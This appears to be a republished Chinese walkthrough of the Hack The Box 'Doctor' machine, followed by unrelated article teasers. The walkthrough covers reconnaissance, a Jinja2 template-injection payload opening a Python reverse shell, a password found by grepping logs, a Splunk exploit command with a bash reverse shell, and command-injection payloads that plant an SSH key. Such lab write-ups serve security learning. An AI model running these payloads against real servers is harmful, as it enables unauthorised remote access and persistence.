【Hack The Box】linux练习-- Doctor

news2024/11/30 6:49:12

HTB 学习笔记

【Hack The Box】linux练习-- Doctor


🔥系列专栏:Hack The Box
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年11月23日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!

文章目录

  • HTB 学习笔记
    • 信息收集
    • 80
    • ssti
    • 8089
    • web->shuan
        • adm用户信息枚举
    • 回到8039页面
    • 知识拓展xss

在这里插入图片描述

信息收集

22/tcp   open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http     Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Doctor
8089/tcp open  ssl/http Splunkd httpd
| http-robots.txt: 1 disallowed entry 
|_/
|_http-server-header: Splunkd
|_http-title: splunkd
| ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser
| Not valid before: 2020-09-06T15:57:27
|_Not valid after:  2023-09-06T15:57:27
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

8089/tcp open ssl/http Splunkd httpd存在robots.txt

添加到host

80

Elizabeth Anderson, Hostpital Patients
info@doctors.htb.
添加doctors.htb到hosts

每到一个新的web,都要习惯性的响应检查标头

HTTP/1.1 200 OK
Date: Sun, 01 Nov 2020 10:21:07 GMT
Server: Werkzeug/1.0.1 Python/3.8.2
Content-Type: text/html; charset=utf-8
Vary: Cookie,Accept-Encoding
Connection: close
Content-Length: 248

server来自:Werkzeug
并且是一个python服务器

ssti

在这里插入图片描述尝试登陆
都登陆不进去
那就注册一个
在这里插入图片描述
页面源码发现了一个/archive
这个目录能看到一些帖子的信息,那么就与下面要利用的攻击方法呼应了

Python Web 服务器可能容易受到服务器端模板注入的攻击。 如果用户输入没有经过清理,它可以包含在模板代码中而不是作为文本处理,这可以允许远程代码执行。 OWASP 有一个 页面 详细介绍了背景。 一个简单的例子是一个基于 Python Jinja2 的服务器,它有一个像这样的路由:

如果用户提交一个获取请求,如 /hello?user={{7*7}},结果将是 Hello 49!, 因为 render函数将处理大括号内的文本。

在这里存在一个提交框
在这里插入图片描述

在这里插入图片描述体现在页面上的没有答案
在这里插入图片描述

于是回到/archive,查看,因为我们刚才第一次审查的时候发现它会显示一些帖子信息

在这里插入图片描述发现成功了这说明render函数起作用了
也就是可以使用

{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect((\"10.10.14.6\",443)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call([\"/bin/bash\", \"-i\"]);'").read().zfill(417)}}{%endif%}{% endfor %}

用上面的,这个是验证成功了

也可以在payloadallthethings获取更多知识

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#exploit-the-ssti-by-calling-popen-without-guessing-the-offset

在这里插入图片描述

8089

8089是https
扫出来的robots没有任何的信息
在这里插入图片描述在页面顶端发现是splunk 8.0.5
网上搜索他可以直接提权的,但是需要我们凭据,因为我们刚才获取了一个shell,我将在那个用户中或许可以获得凭据
在这里插入图片描述
在这里插入图片描述存在一个通杀rce,也就是那个提权的rce

点击
在这里插入图片描述找到了登录页面
在这里插入图片描述我没有任何凭据
先放着

web->shuan

在这里插入图片描述我们可以发现还有shuan用户,我们应该先得到它
在这里插入图片描述

adm用户信息枚举

这很有趣,因为这意味着 web 可以读取日志文件。 我做了一个快速 grep通过字符串的所有日志 passw(应该同时获得“passwd”和“password”)

cd /var/log
grep -r passw . 2>/dev/null   

在这里插入图片描述这个看起来像密码,我找了20分钟,只有这一个比较像

我要用它尝试登陆一下那个用户

Guitar123

回到8039页面

在这里插入图片描述
我们的凭据有效

针对splunk
我们选择这个exp,

git clone https://github.com/cnotin/SplunkWhisperer2.git

python3 PySplunkWhisperer2_remote.py --host 10.129.2.21 --lhost 10.10.14.29 --username shaun --password Guitar123 --payload "bash -c 'bash -i >& /dev/tcp/10.10.14.29/9999 0>&1'"

在这里插入图片描述

知识拓展xss

每当我有一个在页面上显示回我的表单时,最好检查用户交互或跨站点脚本 (XSS)。 我创建了两个链接,并在正文中放置了一个脚本框:

Test <a href="http://10.10.14.29/title">title link</a>

Test <a href="http://10.10.14.29/content">body link</a>
<script> alert("Test")</script>

在这里插入图片描述而这次我选择使用nc(记得kill python server)
在这里插入图片描述
然后测试了连接之后再测试命令执行

Test <a href="http://10.10.14.29/$(whoami)">body link</a>
<script> alert("Test")</script>

在这里插入图片描述
在这里插入图片描述可以执行,那么就开始写入ssh

Test <a href="http://10.10.14.29/$(mkdir$IFS'/home/web/.ssh')">body link</a>
<script> alert("Test")</script>


ssh-keygen -t ed25519 -f id_rsaed25519
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPU+OHcWDuZN6NJak2W2C3ee4pAoAKO5FPkt0SyDqpvE root@kali
Test <a href="http://10.10.14.29/$(echo$IFS'ssh-ed25519'$IFS'AAAAC3NzaC1lZDI1NTE5AAAAIPU+OHcWDuZN6NJak2W2C3ee4pAoAKO5FPkt0SyDqpvE'>'/home/web/.ssh/authorized_keys')">body link</a>
<script> alert("Test")</script>

在这里插入图片描述

成功,然后和上面一样了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/41270.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

量子计算(九):复合系统与联合测量

文章目录 复合系统与联合测量 一、张量积 二、复合系统的状态演化 复合系统与联合测量 拥有两个或两个以上的量子比特的量子系统通常被称为复合系统&#xff08;composite systems&#xff09;。单量子比特系统的描述与测量已有所了解&#xff0c;那么多个量子比特的系统该如…

R语言基于ARMA-GARCH过程的VaR拟合和预测

本文展示了如何基于基础ARMA-GARCH过程&#xff08;当然这也涉及广义上的QRM&#xff09;来拟合和预测风险价值&#xff08;Value-at-Risk&#xff0c;VaR&#xff09;。 最近我们被客户要求撰写关于ARMA-GARCH的研究报告&#xff0c;包括一些图形和统计输出。 视频&#xff…

树莓派安装ubuntu系统

ubuntu镜像下载 官方地址&#xff1a;https://cn.ubuntu.com/download/raspberry-pi 清华镜像&#xff1a;https://mirrors.tuna.tsinghua.edu.cn/ubuntu-cdimage/ubuntu/releases/22.04.1/release/ 准备树莓派镜像工具&#xff08;Raspberry Pi Imager&#xff09; 下载地…

如何在 Spring Boot 中使用 JPA 和 JPQL 进行自定义查询示例

在本教程中&#xff0c;您将了解如何在 Spring Boot 示例中使用 Spring JPA Query进行自定义查询。我将向您展示&#xff1a; 使用JPQL&#xff08;Java持久性查询语言&#xff09;的方法如何在 Spring 引导中执行 SQL 查询具有 WHERE 条件的 JPA 选择查询示例内容 JPQL 与本机…

【408专项篇】C语言笔记-第七章(函数)

第一节&#xff1a;函数的声明与定定义 1. 函数的声明与定义 函数间的调用关系是&#xff1a;由主函数调用其他函数&#xff0c;其他函数也可以互相调用。同一个函数可以被一个或多个函数调用任意次。 #include "func.h"int main() {int a10;aprint_star(a);print_…

SPI和API还在傻傻分不清楚?

什么是SPI 介绍 再聊下一个类加载器框架OSGI之前&#xff0c;我们首先学习一下前驱知识SPI 全称&#xff1a;Service Provider Interface 区别于API模式&#xff0c;本质是一种服务接口规范定义权的转移&#xff0c;从服务提供者转移到服务消费者。 怎么理解呢&#xff1f…

JavaScript游戏开发(3)(笔记)

文章目录七、支持移动设备的横向卷轴游戏准备7.1 角色的简单移动7.2 背景7.3 加入敌人与帧数控制7.4 碰撞、计分、重新开始7.5 手机格式7.6 全屏模式7.7 存在的问题附录素材可以去一位大佬放在github的源码中直接下&#xff0c;见附录。 七、支持移动设备的横向卷轴游戏 使用…

手摸手使用IDEA创建多模块(maven)项目

有了前面两篇手摸手打底&#xff0c;相信大家对IDEA创建项目和配置使用maven已经没有什么问题了。那么这篇文章阅读起来也会非常流畅。 对于IDEA来说&#xff0c;可以用拼接模块&#xff08;Module&#xff09;并引用的方式来“搭”一个项目&#xff08;Project&#xff09;。…

【全志T113-S3_100ask】15-2 linux系统gpio模拟spi驱动屏幕——ILI9341

【全志T113-S3_100ask】15-2 linux系统gpio模拟spi驱动屏幕——ILI9341背景&#xff08;一&#xff09;查阅参考文档&#xff08;二&#xff09;使能内核模块&#xff08;三&#xff09;修改设备树&#xff08;四&#xff09;测试&#xff08;五&#xff09;后语背景 在上一小…

nginx的安装与nginx降权+匹配php

安装nginx: 安装的插件的作用: 1.gcc 可以编译 C,C,Ada,Object C和Java等语言&#xff08;安装 nginx 需要先将官网下载的源码进行编译&#xff0c;编译依赖 gcc 环境&#xff09; 2.pcre pcre-devel pcre是一个perl库&#xff0c;包括perl兼容的正则表达式库&#xff0c;ngin…

样本于抽样分布(1)-基本概念

从理论上讲&#xff0c;只要对随机现象进行足够多次的试验&#xff0c;被研究的随机现象的规律 性就能清楚地呈现出来&#xff0e; 但实际上&#xff0c;试验的次数只能是有限的&#xff0c;有时甚至是很少 的&#xff0c;因为采集某些数据时&#xff0c;常要将研究的对象破坏&…

【Gradle】四、使用Gradle创建SringBoot微服务项目

使用Gradle创建SringBoot微服务项目一、 创建Springboot项目0、阿里云脚手架创建项目1、引入 t springboot2 、引入依赖3、执行 geradle bootRun 指令4、spring-boot-gradle-plugin 插件‘二、多模块项目1、settings.gradle2、build.gradle3、version.gradle4、test_service的配…

图论:自反与对称

图论1.自反与反自反2.对称与反对称3.传递与非传递1.自反与反自反 自反&#xff1a;相同顶点都在集合内。 反自反&#xff1a;相同顶点都不在集合内。 参考下图&#xff1a;有三部分&#xff0c;红色的自反&#xff0c;蓝色的反自反&#xff0c;以及白色的都不是。 例1&#…

Animation

1、Animation窗口 Window——>Animation——>Animation Animation窗口 直译就是动画窗口&#xff0c;它主要用于在Unity内部创建和修改动画&#xff0c;所有在场景中的对象都可以通过Animation窗口为其制作动画 原理&#xff1a; 制作动画时&#xff1a;记录在固定时间…

[Linux]-----进程信号

文章目录前言一、什么是信号我们是如何得知这些信号呢&#xff1f;我们知道对应的信号产生时&#xff0c;要做什么呢&#xff1f;二、进程信号前台进程和后台进程注意三、信号列表信号的捕捉四、信号产生前用户层产生信号的方式signal函数killraiseabort由软件条件产生信号硬件…

【Java】才疏学浅·小石Java问道之路

大家好&#xff0c;这里是喜爱编程&#xff0c;又热爱生活的小石~———— ————个人情报昵称&#xff1a;小石&#xff08;起源于姓氏啦~&#xff09;破壳日&#xff1a;4月12日身高&#xff1a;1 m ↑技术基础&#xff1a;c node.js mysql 爱好&#xff1a;上网冲浪 听…

【学习笔记45】JavaScript的分页效果

highlight: an-old-hope 一、分页效果 (一) 首次打开页面 从数组内截取部分数据展示调整页码信息为&#xff1a;当前页 / 总页码处理按钮 3.1 如果当前在第一页&#xff0c;禁用上一页按钮(添加类名disable)3.2 如果当前页在最后一页(当前页 总页码),禁用下一页按钮(添加类名…

SpringCloud微服务实践之六 Feign最佳实践(抽取)

传统Feign面临的问题&#xff1a; 1、每个子项目都要写所要调用服务的pojo 2、每个子项目都要写所要调用服务的feign client客户端 优化思路&#xff1a;由提供服务服务的子项目统一归集代码&#xff0c;统一对外提供接口服务、Feign子项目统一管理服务远程调用、 将FeignClien…

【菜菜的sklearn课堂笔记】逻辑回归与评分卡-用逻辑回归制作评分卡-分箱

视频作者&#xff1a;菜菜TsaiTsai 链接&#xff1a;【技术干货】菜菜的机器学习sklearn【全85集】Python进阶_哔哩哔哩_bilibili 分训练集和测试集 from sklearn.model_selection import train_test_split X pd.DataFrame(X) y pd.DataFrame(y)Xtrain,Xtest,Ytrain,Ytest …

DSP-FIR滤波器设计

目录 Gibbs现象:用三角函数逼近间断点: Gibbs现象特点: 常见窗函数&#xff1a; 窗函数的主要频谱参数: 矩形窗(Rectangular)&#xff1a; 汉宁窗(Hanning)&#xff1a; 汉明窗(Hamming)&#xff1a; 布莱克曼窗(Blackman)&#xff1a; 窗函数之间的性能对比&#xff…